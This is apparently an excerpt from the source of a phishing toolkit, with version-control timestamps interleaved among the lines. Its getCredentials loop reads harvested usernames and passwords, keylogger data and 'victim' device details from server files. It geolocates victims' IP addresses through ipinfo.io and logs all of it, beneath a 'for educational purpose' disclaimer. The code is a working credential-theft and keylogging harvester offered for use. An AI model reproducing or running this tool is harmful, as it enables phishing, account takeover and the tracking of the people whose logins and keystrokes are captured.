[ { 3 } ! { 0 } ] PLEASE DON ' T HARM ANYONE , ITS ONLY FOR EDUCATIONAL PURPOSE.
[ { 3 } ! { 0 } ] WE WILL NOT BE RESPONSIBLE FOR ANY MISUSE OF THIS TOOL
{ 3 } [ [ * ] ] THANKS TO USE THIS TOOL . HAPPY HACKING . . . GOOD BYE \n ''' ).format(CYAN, CYAN, DEFAULT, RED))
2018-10-29 03:49:19 +08:00
def getCredentials ( ) :
2018-10-30 22:22:44 +08:00
2019-04-19 22:36:23 +08:00
print ( _ ( " {0} [ {1} ! {0} ] {1} IF FOUND {2} SEGMENTATION FAULT {1} , IT MEANS THE SERVER FAILED. \n {0} [ {1} ! {0} ] {1} THEN YOU HAVE TO RUN IT AGAIN. \n {0} [ {1} ^ {0} ] {1} Use This Command in another terminal \n ( {2} cd Server/www/ && php -S 127.0.0.1:1111 > /dev/null {0} ) \n \n " ) . format ( CYAN , CYAN , RED ) )
print ( _ ( " {0} [ {1} * {0} ] {1} Waiting for credentials//Keystrokes//Victim ' s device info. \n " ) . format ( RED , CYAN ) )
2018-10-29 03:49:19 +08:00
while True :
with open ( ' Server/www/usernames.txt ' ) as creds :
lines = creds . read ( ) . rstrip ( )
if len ( lines ) != 0 :
2019-04-19 22:36:23 +08:00
writeLog ( ' .................................................................. ' . format ( RED , DEFAULT ) )
writeLog ( _ ( ' {0} [ CREDENTIALS FOUND ] {1} : \n {0} {2} {1} ' ) . format ( CYAN , RED , lines ) )
2018-10-29 03:49:19 +08:00
system ( ' rm -rf Server/www/usernames.txt && touch Server/www/usernames.txt ' )
2019-04-19 22:36:23 +08:00
writeLog ( ' .................................................................. ' . format ( RED , DEFAULT ) )
2018-10-29 03:49:19 +08:00
creds . close ( )
with open ( ' Server/www/ip.txt ' ) as creds :
lines = creds . read ( ) . rstrip ( )
if len ( lines ) != 0 :
2018-12-05 10:17:02 +08:00
ip = re . match ( ' Victim Public IP: (.*?) \n ' , lines ) . group ( 1 )
2018-12-08 13:29:48 +08:00
user = re . match ( ' Current logged in user: (a-z0-9) \n ' , lines )
2018-11-20 01:49:09 +08:00
resp = urlopen ( ' https://ipinfo.io/ {0} /json ' . format ( ip ) )
2018-10-29 03:49:19 +08:00
ipinfo = json . loads ( resp . read ( ) . decode ( resp . info ( ) . get_param ( ' charset ' ) or ' utf-8 ' ) )
if ' bogon ' in ipinfo :
2019-04-19 22:36:23 +08:00
log ( ' .................................................................. ' . format ( RED , DEFAULT ) )
log ( _ ( ' \n {0} [ VICTIM IP BONUS ] {1} : \n {0} {2} {1} ' ) . format ( RED , CYAN , lines ) )
2018-10-29 03:49:19 +08:00
else :
matchObj = re . match ( ' ^(.*?),(.*)$ ' , ipinfo [ ' loc ' ] )
latitude = matchObj . group ( 1 )
longitude = matchObj . group ( 2 )
2019-04-19 22:36:23 +08:00
writeLog ( ' .................................................................. ' . format ( RED , DEFAULT ) )
writeLog ( _ ( ' \n {0} [ VICTIM INFO FOUND ] {1} : \n {0} {2} {1} ' ) . format ( RED , CYAN , lines ) )
writeLog ( _ ( ' \n {0} Longitude: {2} \n Latitude: {3} {1} ' ) . format ( RED , CYAN , longitude , latitude ) )
writeLog ( _ ( ' \n {0} ISP: {2} \n Country: {3} {1} ' ) . format ( RED , CYAN , ipinfo [ ' org ' ] , ipinfo [ ' country ' ] ) )
writeLog ( _ ( ' \n {0} Region: {2} \n City: {3} {1} ' ) . format ( RED , CYAN , ipinfo [ ' region ' ] , ipinfo [ ' city ' ] ) )
2018-10-29 03:49:19 +08:00
system ( ' rm -rf Server/www/ip.txt && touch Server/www/ip.txt ' )
2019-04-19 22:36:23 +08:00
writeLog ( ' .................................................................. ' . format ( RED , DEFAULT ) )
2018-10-29 03:49:19 +08:00
creds . close ( )
with open ( ' Server/www/KeyloggerData.txt ' ) as creds :
lines = creds . read ( ) . rstrip ( )
if len ( lines ) != 0 :
2019-04-19 22:36:23 +08:00
writeLog ( ' ............................... ' . format ( RED , DEFAULT ) )
writeLog ( _ ( ' {0} [ GETTING PRESSED KEYS ] {1} : \n {0} %s {1} ' ) . format ( RED , CYAN ) % lines )
2018-10-29 03:49:19 +08:00
system ( ' rm -rf Server/www/KeyloggerData.txt && touch Server/www/KeyloggerData.txt ' )
2019-04-19 22:36:23 +08:00
writeLog ( ' ............................... ' . format ( RED , DEFAULT ) )
2018-10-29 03:49:19 +08:00
creds . close ( )
def writeLog ( ctx ) : #Writing log
if config . get ( " Settings " , " DidBackground " ) == " True " : #if didBackground == True, write
logFile . write ( ctx . replace ( RED , " " ) . replace ( WHITE , " " ) . replace ( CYAN , " " ) . replace ( GREEN , " " ) . replace ( DEFAULT , " " ) + " \n " )
print ( ctx )